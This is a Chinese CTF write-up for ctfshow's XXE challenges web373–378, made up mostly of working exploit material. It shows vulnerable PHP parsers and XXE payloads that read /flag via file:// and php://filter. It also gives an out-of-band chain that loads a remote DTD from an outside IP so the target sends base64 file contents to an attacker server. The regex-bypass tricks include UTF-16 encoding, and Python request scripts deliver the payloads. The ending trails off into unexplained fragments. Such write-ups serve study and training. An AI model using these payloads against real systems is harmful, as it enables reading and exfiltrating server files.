ctfshow- web入门-XXE漏洞
web373
<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){//生成一个Document$dom = new DOMDocument();// 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集//LIBXML_NOENT 是替代实体$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。$creds = simplexml_import_dom($dom);// 通过箭头表达式引用。$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);
payload
<?xml version="1.0" encoding="UTF-8"?>
<!--以上为xml文本的基本格式-->
<!--定义hacker变量-->
<!--外部实体的说明使用SYSTEM关键字,并且必须指定应在其中加载的实体值的URL,注入实体,值为根目录下flag文件内容 -->
<!DOCTYPE hacker[<!ENTITY hacker SYSTEM "file:///flag.php">
]>
<root>
<!-- PHP中$ctfshow = $creds->ctfshow; --><ctfshow>
<!-- 读取hacker变量 --> &hacker;</ctfshow>
</root>
该题目直接给出了源码,所以根据源码,写出相应的xml代码,在外部实体注入的部分利用SYSTEM关键字读取本地文件中的flag。该payload是需要知道flag文件的名称。并且XML文件的内容只能通过BP进行发送,因为POST需要一个键值对,而题目是通过php://input伪协议进行读取,因此不存在键值对,所以post不能提交。
方法二:
在kali中xxe的相关工具、
Kali 安装 Ruby环境 和 XXE神器XXEinjector XXEinjector 工具需要使用ruby环境进行运行。
web374
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
无回显的XXE注入
利用XXE漏洞将读出的flag文件的内容外带到远程服务器上进行读取。
利用反弹shell的方法,使得将内容发送到vpspayload:
<?xml version="1.0" encoding="UTF-8"?>
<!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % myurl SYSTEM "http://47.113.227.111/xxe.dtd">
%myurl;
]>
<!-- 不能直接<!ENTITY % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(% vps),那就会解析(% vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 -->
<root>
1
</root>
xxe.dtd文件:
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://vps-ip:port/%file;'> ">
<!-- % 就是百分号(% vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 -->
<!-- 如果选择nc监听的话,端口一定要加!!! -->
<!-- 如果选择看日志的话,端口一定不能加!!! -->
<!-- 引用(执行)dtd实体,vps被注册 -->
%dtd;
<!-- 引用(执行)vps实体,接收%file变量的内容 -->
%vps;
使用协议读取flag后,使得被攻击服务器访问我们的vps上的外部实体文件dtd,然后在我们的服务器上的外部实体文件中的内容用来接收读取的flag文件的内容。
web375
<?phperror_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
增加了正则的过滤。过滤了<?xml version="1.0"
方法一:
直接不写xml文件的申明
<!DOCTYPE hacker[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % myurl SYSTEM "http://47.113.227.111/xxe.dtd">%myurl;
]> <root>
1
</root>
方法二:
由于正则过滤过滤了整个字符串:<?xml version="1.0",所依可以通过改变该字符串形式但是不改变含义的方法进行绕过。
xml和version之间多加一个空格
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE hacker[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % myurl SYSTEM "http://47.113.227.111/xxe.dtd">%myurl;
]> <root>
1
</root>
双引号变单引号
<?xml version='1.0' encoding="UTF-8"?><!DOCTYPE hacker[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % myurl SYSTEM "http://47.113.227.111/xxe.dtd">%myurl;
]> <root>
1
</root>
web376
<?phperror_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
正则绕过增加条件 /i
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)上一题的方法仍然可以绕过
xml和version之间多加一个空格
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % myurl SYSTEM "http://47.113.227.111/xxe.dtd">%myurl;
]> <root>
1
</root>
在xml中大小写绕过没有作用,因为xml对大小写敏感,大写和小写是不同属性名。
web377
在上一题基础上过滤了http
xml和version之间多加一个空格
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % myurl SYSTEM "http://47.113.227.111/xxe.dtd">%myurl;
]> <root>
1
</root>
尝试用// 代替 http:// 失败
尝试通过不同的编码绕过正则匹配。
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
import requestsurl = 'http://b2edaf45-24d9-4bd4-ac9a-e0e50b62853c.challenge.ctf.show//'# 注意这里是单引号,为了绕过过滤
payload = """<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % myurl SYSTEM "http://47.113.227.111/xxe.dtd">%myurl;
]><root>
1
</root>
"""
payload = payload.encode('utf-16')
# print(payload)
msg = requests.post(url, data=payload).text
print(msg)
通过不同编码的方式绕过正则匹配的过滤。在前端正则匹配无法识别编码后的内容,但是到服务器会出现一个解码过程,因而代码被执行。
web378
一个登录框,查看源码发现登录后内容提交形式为xml,存在XXE漏洞
编写payload引入外部实体,读取本地flag。利用file://伪协议。
import requestsurl = "http://1df0552b-4701-4f44-9239-ae0a8c8fa216.challenge.ctf.show/doLogin"payload = ''' <!DOCTYPE hacker[<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username> &xxe; </username><password> &xxe;</password>
</user>
'''msg = requests.post(url, payload).text
print(msg)
import requestsurl = "http://1df0552b-4701-4f44-9239-ae0a8c8fa216.challenge.ctf.show/doLogin"payload = ''' <!DOCTYPE hacker[<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username> &xxe; </username><password> &xxe;</password>
</user>
'''msg = requests.post(url, payload).text
print(msg)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[<!ENTITY hacker SYSTEM "/parse-xml/file:///flag.php">
]>
<root>&hacker;
</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[<!ENTITY hacker SYSTEM "file:///flag.php">%hacker
]>
/secret
/file?name=/secret/
d9d1c4d9e0a6949ec8b19d9b9e65d7999ca492a8c09b9aa66f6d6d69a097c8a29cad98cc97af699a6fb5